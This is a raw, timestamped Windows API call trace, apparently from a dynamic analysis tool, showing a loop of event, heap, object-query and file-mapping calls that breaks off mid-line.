[0094.138] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.138] ResetEvent (hEvent=0xdc) returned 1 [0094.138] SetEvent (hEvent=0xe0) returned 1 [0094.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.139] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.139] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.139] ResetEvent (hEvent=0xdc) returned 1 [0094.139] SetEvent (hEvent=0xe0) returned 1 [0094.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.139] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.140] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.140] ResetEvent (hEvent=0xdc) returned 1 [0094.140] SetEvent (hEvent=0xe0) returned 1 [0094.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.140] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.141] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.141] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.141] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.141] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.141] ResetEvent (hEvent=0xdc) returned 1 [0094.141] SetEvent (hEvent=0xe0) returned 1 [0094.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.141] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.142] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.142] ResetEvent (hEvent=0xdc) returned 1 [0094.142] SetEvent (hEvent=0xe0) returned 1 [0094.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.142] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.142] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.142] ResetEvent (hEvent=0xdc) returned 1 [0094.143] SetEvent (hEvent=0xe0) returned 1 [0094.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.143] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.143] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.143] ResetEvent (hEvent=0xdc) returned 1 [0094.143] SetEvent (hEvent=0xe0) returned 1 [0094.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.144] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.144] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.144] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.144] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.144] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.144] ResetEvent (hEvent=0xdc) returned 1 [0094.144] SetEvent (hEvent=0xe0) returned 1 [0094.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.145] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.145] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.145] ResetEvent (hEvent=0xdc) returned 1 [0094.145] SetEvent (hEvent=0xe0) returned 1 [0094.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.145] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.146] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.146] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.146] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.146] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.146] ResetEvent (hEvent=0xdc) returned 1 [0094.146] SetEvent (hEvent=0xe0) returned 1 [0094.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.146] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.147] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.147] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.147] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.147] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.147] ResetEvent (hEvent=0xdc) returned 1 [0094.147] SetEvent (hEvent=0xe0) returned 1 [0094.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.147] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.148] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.148] ResetEvent (hEvent=0xdc) returned 1 [0094.148] SetEvent (hEvent=0xe0) returned 1 [0094.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.148] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.149] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.149] ResetEvent (hEvent=0xdc) returned 1 [0094.149] SetEvent (hEvent=0xe0) returned 1 [0094.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.149] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.150] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.150] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.150] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.150] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.150] ResetEvent (hEvent=0xdc) returned 1 [0094.150] SetEvent (hEvent=0xe0) returned 1 [0094.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.150] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.151] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.151] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.151] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.151] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.151] ResetEvent (hEvent=0xdc) returned 1 [0094.151] SetEvent (hEvent=0xe0) returned 1 [0094.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.151] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.152] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.152] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.152] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.152] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.152] ResetEvent (hEvent=0xdc) returned 1 [0094.152] SetEvent (hEvent=0xe0) returned 1 [0094.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.152] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.153] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.153] ResetEvent (hEvent=0xdc) returned 1 [0094.153] SetEvent (hEvent=0xe0) returned 1 [0094.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.153] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.153] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.153] ResetEvent (hEvent=0xdc) returned 1 [0094.153] SetEvent (hEvent=0xe0) returned 1 [0094.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.154] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.154] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.154] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.154] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.154] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.154] ResetEvent (hEvent=0xdc) returned 1 [0094.154] SetEvent (hEvent=0xe0) returned 1 [0094.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.155] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.155] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.155] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.155] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.155] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.155] ResetEvent (hEvent=0xdc) returned 1 [0094.155] SetEvent (hEvent=0xe0) returned 1 [0094.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.156] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.156] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.156] ResetEvent (hEvent=0xdc) returned 1 [0094.156] SetEvent (hEvent=0xe0) returned 1 [0094.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.157] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.157] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.157] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.157] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.157] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.157] ResetEvent (hEvent=0xdc) returned 1 [0094.157] SetEvent (hEvent=0xe0) returned 1 [0094.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.158] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.158] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.158] ResetEvent (hEvent=0xdc) returned 1 [0094.158] SetEvent (hEvent=0xe0) returned 1 [0094.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.158] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.159] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.159] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.159] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.159] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.159] ResetEvent (hEvent=0xdc) returned 1 [0094.159] SetEvent (hEvent=0xe0) returned 1 [0094.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.159] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.160] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.160] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.160] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.160] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.160] ResetEvent (hEvent=0xdc) returned 1 [0094.160] SetEvent (hEvent=0xe0) returned 1 [0094.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.160] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.161] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.161] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.161] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.161] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.161] ResetEvent (hEvent=0xdc) returned 1 [0094.161] SetEvent (hEvent=0xe0) returned 1 [0094.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.162] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.162] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.162] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.162] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.162] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.162] ResetEvent (hEvent=0xdc) returned 1 [0094.162] SetEvent (hEvent=0xe0) returned 1 [0094.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.163] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.163] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.163] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.163] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.163] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.163] ResetEvent (hEvent=0xdc) returned 1 [0094.163] SetEvent (hEvent=0xe0) returned 1 [0094.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.164] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.164] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.164] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.164] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.164] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.164] ResetEvent (hEvent=0xdc) returned 1 [0094.165] SetEvent (hEvent=0xe0) returned 1 [0094.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.165] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.165] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: 